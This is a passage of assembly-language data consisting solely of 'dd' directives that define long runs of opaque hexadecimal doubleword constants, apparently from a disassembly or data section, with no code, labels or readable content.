		dd 0C791321h, 2AEA5805h, 0CD520BE9h, 379C5E04h,	62CFB900h
		dd 50B02B83h, 0BBACD40h, 4DB53471h, 58008829h, 41B1087Ch
		dd 0F4E28125h, 0E93102FFh, 0F14546E3h, 2E0E9828h, 2421AB08h
		dd 4CC55EF0h, 77ADF450h, 8AEDB92Bh, 1ED0425h, 0FC4F0945h
		dd 103493DEh, 3E483CF8h, 0B870C04Ah, 5F2819C2h,	0F440E972h
		dd 0AE82DC1h, 26A82B8Eh, 0B127FA2Ch, 0A87D6E88h, 51D3E102h
		dd 0AB804569h, 1BD2FC03h, 2BA58297h, 0E55C05B6h, 88DEE05Bh
		dd 5A00F578h, 0A5B55153h, 582883B7h, 0AF19BCEFh, 92D8C577h
		dd 0E9441194h, 8B1E20A5h, 0D22ABAh, 2EE5E304h, 77C36A38h
		dd 6810B0C1h, 5BDD2F01h, 5A8301A8h, 6850BA76h, 8D224BC5h
		dd 352E336Dh, 0F00C43F2h, 3EF3F5B2h, 0C98BF45Dh, 4BE6DA29h
		dd 0F005589Ch, 0D8819474h, 0D454B113h, 1CD3F7C5h, 0C44B5F1Fh
		dd 0AEF980B5h, 777E174Dh, 1381222h, 0B1F305F6h,	76F789B7h
		dd 55E90C45h, 41C7BB23h, 709E83Bh, 0D0F60AC3h, 5866E088h
		dd 0EDF87286h, 0DA6547FDh, 16463020h, 0B0628C64h, 0F572D9FEh
		dd 9C89CE28h, 4D09EDF2h, 5471FC02h, 4E08A049h, 0CDF1A458h
		dd 2D596909h, 84B10029h, 0D8383405h, 0E4E401Eh,	3694724h
		dd 14D24288h, 3710EA31h, 60A04E79h, 0B52840A5h,	0E2CD504Eh
		dd 0FA7C9BE5h, 2D028D48h, 30EB2640h, 287CF3E1h,	0FEEEC4B1h
		dd 2557F640h, 0F5FC2B3Eh, 0DE5C88FAh, 67EB81D4h, 31684A11h
		dd 0ED27C912h, 0B9A9B48Fh, 0A910454Ch, 264F5008h, 2D976495h
		dd 7A3114E8h, 0E67A7506h, 0B58F454h, 0E3D1D9F5h, 0D510615Eh
		dd 0D206FD9h, 94759768h, 0D04763BFh, 9A9BC55Ah,	0B569B878h
		dd 2F14609h, 7E1A6885h,	0D1019735h, 3D7153B7h, 0E9CF473Bh
		dd 0A9D119CCh, 0C2B3873Fh, 0F5D490B0h, 585C3391h, 0BE023560h
		dd 0A4E97827h, 658D104Fh, 0B959912Fh, 4B056D4Bh, 607C5044h
		dd 8990A91Fh, 19441452h, 0A1092BB0h, 0C072C011h, 2E42748Dh
		dd 0E573F5h, 0E6B55413h, 0F8CAD589h, 840BC9EFh,	0AE4E31h
		dd 9DE379B9h, 0E9D901DCh, 1DCB225Dh, 0DFD63924h, 0D79E0AF2h
		dd 87095210h, 15708279h, 17CEBBB0h, 0B853C30Dh,	0B600BD0h
		dd 0DA8181D8h, 5F85A577h, 36FB801h, 8C2014D5h, 0E70DD66Dh
		dd 5F0C4892h, 35AB5474h, 0D34BA6F7h, 196CFB0Ch,	0DFAB90D8h
		dd 0B1DB163Bh, 0D813389Ch, 83E47AACh, 0E02C7791h, 0ED3AEC1h
		dd 4729A271h, 0C54158D1h, 4B235A7Dh, 7692478h, 0B850602Bh
		dd 8E3C21F9h, 0F9C6A462h, 5F9FC125h, 315CA592h,	2F173393h
		dd 6F7CCE98h, 0C0B580AFh, 21584725h, 47278585h,	66498852h
		dd 823C372Ch, 29547D4Bh, 6F1754D8h, 505D005h, 4172E90Fh
		dd 88535181h, 7E63CAC3h, 0F440EEAAh, 0AF9A4885h, 37720526h
		dd 12368AC3h, 5F58010h,	0C8401B21h, 491296A9h, 351E6C3Eh
		dd 8F08513Fh, 0AC663C1Ch, 3E120C21h, 0A1E1F442h, 3BC087E9h
		dd 1179441h, 84EF7C07h,	13590FF0h, 8C54B168h, 6B0BEA6Dh
		dd 50311C5Eh, 208C850Bh, 44FAB1ACh, 0C3141183h,	3D1505E9h
		dd 7509F1C5h, 2576787Dh, 0B9515A00h, 3254A29h, 6E1C140h
		dd 0AF8C5FE9h, 0C7210A39h, 0B8011B28h, 5E307715h, 0BC092E21h
		dd 5A0EC142h, 5D1053Dh,	0F02AAB58h, 8A180FFh, 5FE20D51h
		dd 0CCD101h, 0F2685A08h, 13CD2F56h, 1DCD29FDh, 2CF0F301h
		dd 0E8598D2Fh, 1A4A1471h, 41A6DBD8h, 33FD0343h,	0AD2C7F1Ch
		dd 0BCCAC31Fh, 0DF41F124h, 8F44560Ah, 0A8BA5880h, 37F83F55h
		dd 161BF203h, 0FEA460Bh, 2B29D5E9h, 0C1842367h,	21C457FCh
		dd 0B142A8C8h, 0B78917A9h, 2B7C5AD6h, 88390959h, 0DC44072h
		dd 0F44D0A09h, 704A0445h, 0B9736807h, 0D9C96BF6h, 0B8B844FBh
		dd 2D46C218h, 0E0F3858Dh, 0D74B83FCh, 0ACAD93CDh, 8734125Ah
		dd 6EB26B85h, 22E52318h
		dd 0D1261B9h, 382D4C04h, 0D99F4B3Bh, 30908DD8h,	652D400Fh
		dd 2A67667Eh, 0C78CA117h, 55F04802h, 5DFC2D04h,	13EB1A47h
		dd 0C496AC1Bh, 0BDA199E9h, 59877452h, 61791265h, 71D2D14h
		dd 464D3CD2h, 419890ABh, 25012A2Ch, 5902501h, 55670B3Fh
		dd 0ECF08F8Bh, 534DDC98h, 0E28817AEh, 6BA41AC1h, 0F9B97350h
		dd 68B40C79h, 7820C829h, 1634C55Bh, 48E7C582h, 1ED2F72Eh
		dd 0A4C1D187h, 2D141B49h, 9382FE82h, 5A4666F3h,	20D5C2B7h
		dd 59CE31FCh, 5EF07A89h, 68873227h, 969EF5C4h, 79595550h
		dd 9AC7005Dh, 0E9215331h, 0BA966E60h, 80ADD0A7h, 3C6C1ECDh
		dd 68CC2EBEh, 98C66D27h, 9FDF022Ch, 0AB9D066Fh,	68BA0410h
		dd 807B703Eh, 5F2F668Ch, 98803F5Ah, 18D0EEF7h, 66D189BBh
		dd 7F26E9CAh, 3151283Eh, 639D0B7Fh, 0B642BABh, 0C1195876h
		dd 0D01402E8h, 64FF05F4h, 471C489Ch, 386127CFh,	61314F0Bh
		dd 7DE25DFCh, 98C9765Ch, 0D12E09B1h, 95F841E1h,	66C7362Dh
		dd 0FBC2952Ah, 0BA4237D9h, 61B8DE02h, 237B8C68h, 57625AA6h
		dd 92916558h, 8CCFAC5Ch, 40C34254h, 136E90Ah, 94FED4Ch
		dd 50512FB4h, 4802305h,	9106E9F8h, 341CF79Bh, 0AA40E201h
		dd 5A8D12BBh, 0DF86C0ECh, 1F185325h, 0FD10E3D1h, 128D7866h
		dd 16DBF743h, 5965C133h, 0A733028h, 0FE10AD63h,	3AD621CEh
		dd 2AB25280h, 62F6E2D0h, 35E904DAh, 0BA2D5156h,	8E6968E7h
		dd 25869322h, 32CAE891h, 0DBCDD279h, 0B7D07C53h, 5366E120h
		dd 28711DB7h, 205B84F9h, 9E5B3C8h, 79479C68h, 9BC549BBh
		dd 5FEDE905h, 377F3CD9h, 57E5329Ah, 2058577Ch, 51BF1344h
		dd 214C25Dh, 2992DC40h,	0E4715F81h, 0BE05473Ch,	80DE77CEh
		dd 0C0F8C6F2h, 5180A04Bh, 0B4A6118Dh, 1CA10052h, 2BE9697Eh
		dd 91BD0940h, 8265A72Ah, 9C499EACh, 402190F2h, 0DE483031h
		dd 0DDEF2A98h, 24FE9190h, 2F670F55h, 0F3B4A39h,	8F7868E0h
		dd 0CA782BEEh, 889A29F4h, 34CB594Bh, 44D1CD4Eh,	68D102C5h
		dd 517C5636h, 466ABD42h, 8D050097h, 2910FA45h, 7A32DF8h
		dd 4A34A9A8h, 0BC052302h, 0FC753B3Ah, 4236A473h, 5707B72Ch
		dd 47A14C64h, 6109C501h, 75238E2Ah, 0CFC8605Bh,	0FCC1955Ah
		dd 0A7C94357h, 0D906B2A1h, 30B9595Fh, 342E5CEAh, 5E39EEBEh
		dd 60818F09h, 181BCF95h, 9F5B7C2Eh, 6B4A95E9h, 2ABA92D0h
		dd 96A02C8h, 0EBD159CBh, 452ADE1h, 0BDCB14BFh, 0E3F38107h
		dd 0A1FF0569h, 2A9E2E7Dh, 2A12B34Fh, 5658D2D0h,	0DF1632B5h
		dd 0FF2641CBh, 3AEDAB87h, 0DC9E1772h, 0B2593D82h, 0B104963Bh
		dd 3AE2AC86h, 0DCD95425h, 2CEAC764h, 0BA168E4h,	0CC822B5Eh
		dd 67395757h, 0DE843B5Ch, 47B327D4h, 6966DE40h,	1AA37DCAh
		dd 73020B29h, 7E1D20EBh, 20C7F874h, 883BFADBh, 58EA94DCh
		dd 7BC3814h, 0DF01404Ch, 0F0F8A7D5h, 0A813D85Bh, 0E10B1C55h
		dd 0C3092F19h, 0AD25595Bh, 69271B52h, 0F0E1E4D5h, 10F96BB7h
		dd 9801BD51h, 92DAD07h,	1B4CE272h, 0DD56B44Bh, 8C20BE90h
		dd 0C8295F6Fh, 0C15EED83h, 0E8EF8BDDh, 9C0C6068h, 0BD062F5h
		dd 58A01877h, 0AF3B919h, 0ADE3A7F0h, 0A0397753h, 80305EB3h
		dd 5AAD6861h, 91A81099h, 95387620h, 5CD9269Bh, 563A92CEh
		dd 703B5E01h, 0DAF11EF1h, 5D5D2764h, 0D5004B5Ah, 0BF0F581h
		dd 2B91C253h, 0D8916212h, 0BF2D3EBAh, 99692207h, 30B9B267h
		dd 0C87C9B52h, 8B234715h, 8BDD24AFh, 80B4B781h,	0C7CC59F7h
		dd 0F8883F6Fh, 8BE998A6h, 403315Fh, 0D32C0839h,	3F1080E3h
		dd 29D32816h, 5BCB173Eh, 34995758h, 1DF1C06Eh, 137C2F3Eh
		dd 0AC0AC5E9h, 0A9BFA799h, 542501Eh, 3217F4BEh,	6921F4Ch
		dd 463D1C7Bh, 0DA79D9EBh, 76D51860h, 0C10EA3B8h, 894206E2h
		dd 316DEEAh, 36B907D0h,	1C68D0B7h, 0E917378Ch, 8564AE4h
		dd 0ED03E40Ah, 0AB0F8996h, 0B248308Ch, 29737898h, 56286F01h
		dd 316425BEh, 3DEE81DCh, 378576A6h, 8304E6C1h, 0F5E8093Ah
		dd 9DFFD15Dh, 15CF0B10h, 5EF1860Ch, 39F307B8h, 0DAE97B7Fh
		dd 0E1358093h, 89D5A1E6h, 0F307C74Fh, 15713F94h, 0B821FB01h
		dd 14940804h, 74BA3DAEh, 9934E9B9h, 4FAA5CA6h, 0B34F5830h
		dd 52BF62D6h, 616AE571h, 38814D38h, 27771ED4h, 0B2F040D3h
		dd 25B39054h, 0A5168C1h, 59BE4043h, 0FC930F24h,	2051C986h
		dd 1817D075h, 5BE7B4Bh,	311A3C3Fh, 811B20CEh, 0CCE174E6h
		dd 0A190461Fh, 52ECF225h, 0AB642D88h, 75982AA0h, 893F3C30h
		dd 6875BFAh, 0C013DB74h, 785E6D53h, 0C36047F6h,	511ECF17h
		dd 0B2104C49h, 8517A703h, 0BBB5831Ah, 18027F0Ch, 846524CBh
		dd 0FA908B5h, 0D6295F09h, 0B6E9701Ch, 76A2FF4Bh, 0B0344F58h
		dd 0ACE8E810h, 5A6140EAh, 2A4A33FCh, 0E348B4E3h, 0D05A3049h
		dd 1839BC03h, 4A3C2240h, 5890E73Fh, 73125A48h, 38AA9602h
		dd 8204D7FEh, 0B977D063h, 8248313Ch, 3CE54A64h,	0A0F3CA20h
		dd 0B57EE90Ch, 4AEC5F0Bh, 681EC9B9h, 2FE30A92h,	0F9620605h
		dd 80808055h, 0B5D5710h, 43FA40D7h, 5BE14504h, 8380D1F7h
		dd 50C02622h, 188D8E33h, 3AD47ADBh, 6C0A2E6Eh, 95CD2953h
		dd 0EC650110h, 8250AAC3h, 40B64A8Dh, 0DB408C18h, 35005190h
		dd 0E1814948h, 90DC2998h, 13E973D6h, 1613EC26h,	6BCEB1FDh
		dd 574B0A1Fh, 5C764633h, 4F25BD56h, 83B2FF47h, 0C001CA5Eh
		dd 274C9166h, 3B680DA9h, 7519FFC5h, 81265B5h, 18D7DF30h
		dd 1E1E262Eh, 0BC3901E5h, 5DEA96E1h, 9AE9FA80h,	0E91997BBh
		dd 103E62D3h, 5A25A4B2h, 32A50A40h, 1B0A6283h, 28FE5450h
		dd 3F913CE5h, 5A722DF2h, 870CC626h, 37E5CD80h, 7048BF5h
		dd 0C5550E22h, 40AEB96Bh, 0CE2DED1Fh, 0D63FF757h, 0C607134Eh
		dd 5C26BEA2h, 0AE600DCh, 0EB35563Ch, 3B0059F4h,	0D1F60540h
		dd 9801929Ah, 5F6A9869h, 19F34807h, 88990492h, 0BDCC2460h
		dd 0D2C89991h, 32CA06DDh, 939E82E7h, 0B0E5D911h, 599D9C2Bh
		dd 9765F8h, 9C7205ABh, 3598005Bh, 2877EFCh, 0D573F795h
		dd 0D4902D4Ah, 6E8C1h, 15864235h, 68FBE974h, 5BD738BDh
		dd 288E0E04h, 0E9822CE8h, 33DF0EAEh, 3E296CF3h,	291B581Bh
		dd 0BC994047h, 3E9A29BBh, 8201C98Ch, 0FCF6905Fh, 537BBFDh
		dd 315F5457h, 6259CF19h, 10E2D005h, 0BF05EE71h,	8095FA0Eh
		dd 2C18EF22h, 5266912Dh, 6B0883C5h, 155ABAA3h, 5201C301h
		dd 0D8319259h, 6878286Fh, 538D935Bh, 2C7640E0h,	59F94233h
		dd 0E6C92F01h, 40B9220Ch, 0F829E948h, 8018917h,	417FDB42h
		dd 123FED60h, 0AD03432Ah, 0EA7F5052h, 12D2F55Fh, 186C5457h
		dd 18D13C4Eh, 89A54627h, 291080C9h, 2E2D6449h, 0BAA6D787h
		dd 2DB8650h, 1837EA2h, 0A07D5FF9h, 1D13FB69h, 0ABE5B54Fh
		dd 12F35E88h, 4EC8E65Ch, 4129E0C8h, 5A4B24EFh, 9F6D1495h
		dd 517B2616h, 69B5BBA4h, 0EADB29A7h, 243C544Ch,	5EA21000h
		dd 0D90FA084h, 26A86B30h, 16735A8Ah, 61719768h,	2E5C054Bh
		dd 0D37CE188h, 17F4E9A1h, 42D2BF5Bh, 0B6544428h, 4A23280Dh
		dd 5A870EFEh, 1A371432h, 0CC413900h, 1F68FD7Bh,	0D8CC624Ah
		dd 607800EFh, 8EEC16Eh,	1B9415E9h, 0E9D0542Ch, 4141E3D1h
		dd 2D689D1Ch, 368DBA5Ch, 68B352F9h, 4DFD0212h, 6D8209F8h
		dd 4C093A7Dh, 97F5738Eh, 2A9260E6h, 0D516815h, 0BD379EAh
		dd 8BC57F0Dh, 4CD3324h,	0E912BE04h, 3158D216h, 1C3137D0h
		dd 0CC103F59h, 335B723Ah
		dd 1DF47E25h, 0B0CD5A31h, 1431FD11h, 44FEBC8Ah,	80825F2Fh
		dd 0D116D975h, 2E4C1E5h, 0C03980CFh, 28014934h,	72E9395Dh
		dd 4DD6764Ch, 26EB5715h, 0EE81010Bh, 46DD1F34h,	38212A31h
		dd 40590802h, 0F43B43A9h, 0BB530202h, 39F4B60h,	5CDCF782h
		dd 1085B5Bh, 2EB80058h,	2D37923Dh, 7BF1F209h, 314527C2h
		dd 0CF91E951h, 0D3B3413Bh, 0D85C6805h, 281899E7h, 7E760B02h
		dd 5020061Eh, 2A5AD721h, 2F5F270Bh, 0E722013Ah,	0E88B463Eh
		dd 0F490BF96h, 9A955C3Bh, 51B86967h, 6A8CF942h,	0AC097D02h
		dd 21304250h, 9CE92DE8h, 42C29E61h, 88010690h, 0B21759C8h
		dd 56DA563Ah, 3E2D2809h, 0F202861Ch, 9B314883h,	94159A2Ch
		dd 42CEEBAh, 0A5D40984h, 0CDC881F9h, 57D06A17h,	2E751CEDh
		dd 30166D4h, 496C77CDh,	5F8C0C1Ch, 0E94D0342h, 550168B6h
		dd 42C12D68h, 5D4455D1h, 2941FDDDh, 0A76870E9h,	63685701h
		dd 0E424FF54h, 550EFC1h, 0D504FDB1h, 0FE89081Ch, 0C6C330F2h
		dd 0F6C9CCA1h, 34C96A21h, 82CEAC30h, 7090604Ch,	0CB55428h
		dd 88D0A2BDh, 0D11C8202h, 20ED24F2h, 9D556A68h,	5C8DBDEDh
		dd 5DDA9141h, 0C9014BA7h, 0EDDD7084h, 1CF7C53Ah, 1892F9F9h
		dd 0D0E904EBh, 0B03C5296h, 3731A4DAh, 0A00F4AE7h, 4D382101h
		dd 0CB899410h, 161D109Fh, 5B81040Fh, 0ADE8B00Bh, 0B20459F5h
		dd 0EB8955C8h, 180072E8h, 0E94FE87Bh, 0CC970195h, 26C9C675h
		dd 0F61441C5h, 7BBE480Bh, 2E21F531h, 0C0C070BDh, 0EEF906Dh
		dd 0FAAF03BFh, 2936EAC0h, 0DBE77CFEh, 5408B641h, 6E27BB2Eh
		dd 58BCF0B4h, 56140C12h, 44AE1704h, 884306FBh, 57410F41h
		dd 164DC450h, 0A939516Bh, 9ED563Fh, 7B7C44B6h, 0C222D4CBh
		dd 2B562ECFh, 0D5270662h, 0BE042A1Ch, 69667F38h, 0B23CAD88h
		dd 0B36C9F96h, 3B02EB09h, 4A378214h, 0E56B8EA0h, 0FEE3C3BDh
		dd 1DE22579h, 2D069CCEh, 7BA4D140h, 5AE912FAh, 26DC9636h
		dd 11FC479Dh, 25E14C02h, 5121B9DFh, 52D2732Bh, 0E41FC02Fh
		dd 0E4FE5B93h, 0F9555C8h, 0D0900057h, 0C5C12CE8h, 0FCF09B30h
		dd 0DA0D9E21h, 0DA61109Eh, 8022E0FCh, 5724DBBAh, 0CA0102ADh
		dd 180A1F28h, 3C84E2D8h, 0E98B692Eh, 0F94648F3h, 30B8A4C5h
		dd 0DF4364C2h, 3E0E020h, 340BE125h, 56482E16h, 3B45003Ah
		dd 47F38126h, 7AED29ECh, 339F314h, 24CC156Dh, 802EB601h
		dd 58DD2908h, 407F4A5Bh, 5F4E512Dh, 7BF7C660h, 36F9240Fh
		dd 622312D1h, 90DF5A7Fh, 0B30635FBh, 0DE9A0882h, 0E3C10Bh
		dd 2BABC36Bh, 1A5B63h, 52BCCBC3h, 0E916333Ch, 22960547h
		dd 7BB5077Ch, 7A8C380h,	4B5D5EEBh, 0D8201BE9h, 336D57BEh
		dd 0E61FC1E2h, 0AC894602h, 78D5128h, 31515066h,	0DE2F0EB9h
		dd 19603A70h, 60E9C860h, 0E29DC4CEh, 0FEC48006h, 0B1128ED0h
		dd 3B17D601h, 49D2019Ch, 0EB1A033Ch, 45603C9Dh,	6B16CBBAh
		dd 81B768A7h, 0C8B71712h, 0C8643BE7h, 0B956CD3Ch, 283007B8h
		dd 0D76F20F6h, 5E2D4CEDh, 52F80846h, 3CB085Ah, 5CB0552Fh
		dd 9F4F1FE9h, 70897D52h, 0E208C0DAh, 0DC251745h, 0F19E082Fh
		dd 4416582Dh, 9F0AF30Eh, 0D601A12Ch, 5A3AD80Fh,	2A228C5Ah
		dd 5FC660CAh, 0B96AADEEh, 0C5582E2Fh, 0F1E9053Bh, 0BB29EB5Bh
		dd 0E984D82Fh, 7926622Dh, 551A5FDh, 0C05C6A2Fh,	0B7B0B343h
		dd 0F79FD023h, 0A65D0C3Eh, 0A00C8658h, 50E8E73Eh, 7A14C803h
		dd 0A76595Fh, 8C25827h,	0C45ECF6h, 0E028C14Bh, 0B722CAD7h
		dd 5C4A159Ch, 9F67D82Ch, 0B0642785h, 9C41E41Fh,	8532F461h
		dd 95E0F227h, 0B79057ADh, 132C1500h, 70E06812h,	0C804CB4h
		dd 2D0D7F10h, 3F137B20h, 732CE92h, 31E88861h, 720CBBE9h
		dd 946803F6h, 0E216E50Eh, 0A0CA6AB1h, 3B005F4h,	2FD77DA6h
		dd 787AB624h, 0B254565Ch, 13A17B5Eh, 5ACB97CAh,	0C11E0B63h
		dd 34A64D7Ah, 0DB963A98h, 0FEBE4C2h, 8D9518Ah, 0A623B9D0h
		dd 0BE12A63Dh, 0AAB068ADh, 907FE637h, 40442CCDh, 6C522DC7h
		dd 453B6509h, 26A30B79h, 605A5A0Fh, 0FEBBF116h,	204C446Dh
		dd 9D683525h, 39052A04h, 6FBE5600h, 1F7B4325h, 5A50402Fh
		dd 97ED4E10h, 0E0B2C441h, 0E8188394h, 67AB8702h, 0D95982EAh
		dd 76858344h, 0B232B08h, 2240DF87h, 0DFCEA2F8h,	0E150EBE1h
		dd 37801B1h, 5D30A44Eh,	0C5BD27A4h, 0FF5C0934h,	9BB87E68h
		dd 2DD045C0h, 7CEB7776h, 20E4B64h, 3EBF68FBh, 9915B475h
		dd 7CBC03CEh, 7A041E5Bh, 32393071h, 0AD29DA80h,	0CA504894h
		dd 63423B01h, 0F9F7016Dh, 5E0842EFh, 74B7895Fh,	6C71256Ah
		dd 5C0987E4h, 0B0C9ADFEh, 0A83AE9FEh, 4EF468DDh, 88522150h
		dd 5A33C8C6h, 3E51C690h, 3D0B2E7Ah, 0BE13A040h,	7A3B64CEh
		dd 409D5E62h, 2959CDD7h, 7D985DE8h, 0DD89025Eh,	32A48B38h
		dd 96DD56F6h, 1C10131Ah, 0DD730EA8h, 0AC3924B2h, 0F949DF50h
		dd 73C4DE18h, 6D27CEB0h, 0F6C23850h, 2034E304h,	5BF294Eh
		dd 0F9E87BFBh, 50618552h, 53C487ECh, 0C9410E28h, 80F66014h
		dd 202C17C6h, 0C2EA06F0h, 949D16FBh, 1A6E97C8h,	41EAA831h
		dd 6EE12DF3h, 80DBFB75h, 0A16BC806h, 74105B0h, 1205FCE9h
		dd 71E12190h, 5F5F022Bh, 0FF6152AEh, 864A4635h,	4855780Ch
		dd 3AF70FFAh, 84B7B314h, 0C844AAC2h, 97504FF3h,	7B0B564Ch
		dd 2F00792Ah, 4CDB94EDh, 0E9EBFCFDh, 1CF7C85Dh,	0D992CE87h
		dd 252AF609h, 60BF58B2h, 6CD821BAh, 66E9C717h, 0D85CB34Bh
		dd 581ABD52h, 422338DFh, 52B99770h, 163C6254h, 6D41E597h
		dd 0C23FC9E3h, 0E34876Fh, 21DFFD42h, 9C2657Eh, 4D02D7C2h
		dd 0C11B63A2h, 34514C21h, 0D6CB951h, 30E73D8Dh,	9802FCF6h
		dd 0CA2934EBh, 744BC259h, 0C49126F5h, 36BDC053h, 3C4E3B5Ch
		dd 6CF39AF4h, 252C1334h, 7B3F7001h, 87685653h, 5E71D0D7h
		dd 9F29046h, 8761747h, 2F5BFE00h, 50904F0Ah, 20C0BC0Bh
		dd 2D6E56D9h, 0F0C16550h, 0F934D8DEh, 17E00230h, 0D47BC802h
		dd 5B080C3Ch, 0DE0DEF13h, 0C289F3Ch, 0A8F94404h, 0E9A04313h
		dd 0D2D6DEC9h, 0FA26E0A9h, 130025E7h, 13B35358h, 0F6C3FE09h
		dd 6E5C07DBh, 0B0C4E933h, 6B28D1C1h, 4FD810D9h,	1DBAA988h
		dd 5CFA051Ch, 0A80950C4h, 0F6FCE9C2h, 0FEB9015Ah, 2A5D971Eh
		dd 0CB40EC8Ah, 0CB141365h, 1C3EB02Ch, 0D602135Ch, 0ADF43416h
		dd 24AA76C3h, 104907C0h, 33CB4044h, 1343A63h, 2DC07FC2h
		dd 0D998AE15h, 4E4EAF68h, 0E5357D27h, 2D494B80h, 934964Ah
		dd 0A746250Ah, 4F296590h, 0C52D0A22h, 34C52F9Eh, 60C3310Bh
		dd 82989D0Ah, 0F40E7FC3h, 77E50F4Eh, 0D8AE9F04h, 84DE0104h
		dd 26DB01C8h, 0EAC58309h, 0AD4DD1C1h, 8E1B61E1h, 0F65AEC3Ch
		dd 0ED2C13ECh, 49DE6FECh, 3F721FEBh, 2C56E00Bh,	0BBC7328h
		dd 0F1FEA85Ah, 96B0FD72h, 49CF09Ch, 6F8DFC49h, 506235C9h
		dd 0F96D9202h, 0C64F9F5Eh, 3910D48Ch, 7C0AD788h, 0B1C0187h
		dd 326CAE55h, 89E2595Eh, 58C2212Dh, 0F407C0CEh,	58E330B4h
		dd 5245013Bh, 0EEF07CB6h, 51660101h, 0E91BB050h, 20003BF6h
		dd 3C05BCB8h, 25402E3Bh, 10ED0E00h, 0E33A6584h,	37D616A2h
		dd 97A9D0CCh, 0B57B7A89h, 5913CC25h, 4C7815B3h,	0C1C1D5FEh
		dd 715603EBh, 0DB45AD3Dh, 5B69CB89h, 0B5C67854h, 0E95928EAh
		dd 68E2DC24h, 71E01C45h, 5CF940BBh, 0AB60F0ECh,	3E0ED79h
		dd 0E0465E31h, 0C305830Dh, 99BDE902h, 3FA555D1h, 6968F579h
		dd 98BEA0E6h, 72059D6Dh
		dd 7FAD8B54h, 1AB3AA26h, 5F59C883h, 56269268h, 5D7D603Dh
		dd 7FD64D88h, 0A420AAE8h, 17A8BB3Ch, 0D314448Ah, 7AD404E7h
		dd 0A4C00DF0h, 17E5CCE0h, 0DDF8930h, 28897737h,	71532DE1h
		dd 8AA352C5h, 3040478Fh, 704A4A3h, 81E963A8h, 0A3E84A95h
		dd 0D62F2A2Fh, 615C34A9h, 61170490h, 21CBBD0Dh,	0ACD2A774h
		dd 0D36E44B9h, 3D824D94h, 28009F7h, 493F57BEh, 206B2758h
		dd 2D5B3DCEh, 7BA2C3Fh,	2AB7C283h, 0E9A98929h, 375354Dh
		dd 0D74004DAh, 964E79EFh, 0B5619A9Dh, 571C726Bh, 2D45637Ch
		dd 0F8C957BEh, 0CC2B12BDh, 212168B3h, 0F45F4A1Ah, 96B0805h
		dd 312D4000h, 4713A3Eh,	8CFF9A05h, 0FCFC2C0h, 89D58902h
		dd 251B53CEh, 0E5428959h, 8E1155D0h, 17CDE457h,	5BBF0282h
		dd 0A81099Ch, 0E17EF3EDh, 0A9C12B7Fh, 0D476CB94h, 0E829124Fh
		dd 0A5E9C339h, 0B9EF4A22h, 285E7ACCh, 0BE85B12h, 0D2EB5CCEh
		dd 99204A45h, 824CD916h, 0BECFBA00h, 343B4103h,	0AB5BD4E9h
		dd 0EE44C521h, 8129242Ah, 1C709E2h, 0CE9E5952h,	5B4AA0A1h
		dd 9F53CF3Ch, 35055F10h, 25684082h, 62BA70B3h, 0B42348F3h
		dd 6861F707h, 0CC2E2D45h, 25A315Fh, 5D14B34h, 40069E7Ch
		dd 7B9FE727h, 0F76686A1h, 0E91235F1h, 3FA5F60Eh, 962E17DCh
		dd 7668631Eh, 0AB4B137Eh, 0D58482C4h, 0B6A1B6B8h, 6B53F5EDh
		dd 0C00F2FCEh, 5A09D388h, 65D787h, 2AB551DEh, 0C570EDF0h
		dd 0F82C6EF7h, 49FD4989h, 0D12C3348h, 4E520980h, 0EF8AF4F9h
		dd 8160C794h, 241FFAF1h, 11697DBFh, 4F839DBh, 348B5830h
		dd 4E952EFh, 1DF5FD4Ah,	5CA888Fh, 0B9AD498Ah, 6B7C68C2h
		dd 50DB307Dh, 0BF420E9h, 1AC62927h, 40BF0DCh, 0E94D95DAh
		dd 6933B1B8h, 0E6DCB483h, 68F140F0h, 0E6476627h, 0E3E49FE2h
		dd 0C544F20h, 7B442D66h, 67DA508h, 2B80FB5Fh, 69C38058h
		dd 0A10E060Dh, 0B25250C1h, 0DCF2F07Bh, 3EAC01Fh, 880EC2C2h
		dd 0F71841D0h, 0E14D2E72h, 4FFA1A10h, 0EC521FC8h, 48787CA3h
		dd 0FB20CD7Bh, 0EDC15A09h, 40F07603h, 2C87608Ch, 0E7B8CDE4h
		dd 843F08DFh, 0D26B3CE2h, 5D8B0BA8h, 0A1BC6204h, 978F7ED1h
		dd 59788051h, 0E2785024h, 4C43291h, 5D516703h, 878F5843h
		dd 7B93E1E3h, 585BBAA0h, 12F0759h, 0C90103DBh, 5C8943D7h
		dd 0C3E3802Fh, 2104FDBFh, 0B79FE9C8h, 3A262F8Dh, 5CC18101h
		dd 0D848BF16h, 4006D7E9h, 0D9296ED1h, 4108831Ch, 59FB1472h
		dd 0EC936B72h, 0BB149864h, 5AE63846h, 7109A0CAh, 0D925295Ah
		dd 614E9EFDh, 4C830F4h,	92DAC6E0h, 0A063F899h, 95E1897Eh
		dd 40A072C7h, 0A5414C98h, 1342F7FCh, 12A758h, 4424FCE1h
		dd 3D2568EAh, 604C7E1Ah, 1F4A94BDh, 72313B2Dh, 2629D68h
		dd 0C5E90C02h, 0ED84375Ch, 1053FFCh, 0C648C1EEh, 78976202h
		dd 66686195h, 0DDEAA32Ah, 8CE7EA96h, 8262A35Fh,	7548C268h
		dd 4202E399h, 32FCE922h, 3EED0CB5h, 0E420FA58h,	0B5FA30B2h
		dd 0BEBD07BFh, 6D867990h, 8CE60C81h, 0F63CF738h, 7B04350Fh
		dd 70EE8061h, 39E982BDh, 5F90F301h, 9B435BC1h, 0FA9EB753h
		dd 4E2E697Ah, 50913480h, 0F329D7BCh, 0D3015E17h, 0A922E50Ch
		dd 867004F2h, 0AB215FFFh, 9A1E27C8h, 0B7E595C7h, 82E25516h
		dd 0E0AB7C4h, 0B021C4ACh, 954013A4h, 0D6998B09h, 0F2B2652h
		dd 0C57C3F68h, 9AC25F44h, 6D660BC2h, 4E0B6698h,	8A470D74h
		dd 820BFF1h, 0D2E95D12h, 0F280AA83h, 7C5A7F8Ah,	0EE289E39h
		dd 137BB010h, 0CC6BB868h, 0BE4932BBh, 92011062h, 6806B803h
		dd 0F9E8038Bh, 0FC5E7497h, 0D75675C2h, 13DE8180h, 35F20751h
		dd 0F64A06A2h, 6A44F341h, 0FB5EAC09h, 0A956168Eh, 0C5532F66h
		dd 68B00000h, 0C5885152h, 1A25F898h, 0C4A9742Fh, 5FA1B023h
		dd 5436E2B7h, 0D2764BBCh, 5A919F42h, 31560305h,	0EF296932h
		dd 69B338E9h, 0F0AD5029h, 5DF45A5Fh, 58F5F69Bh,	4C049092h
		dd 0A159E828h, 85F62AFAh, 976DE84Ah, 0A68B8D0h,	6E30BF77h
		dd 0BC60DBE9h, 56C3296Ch, 2C8B09BEh, 3F095D70h,	49AC79h
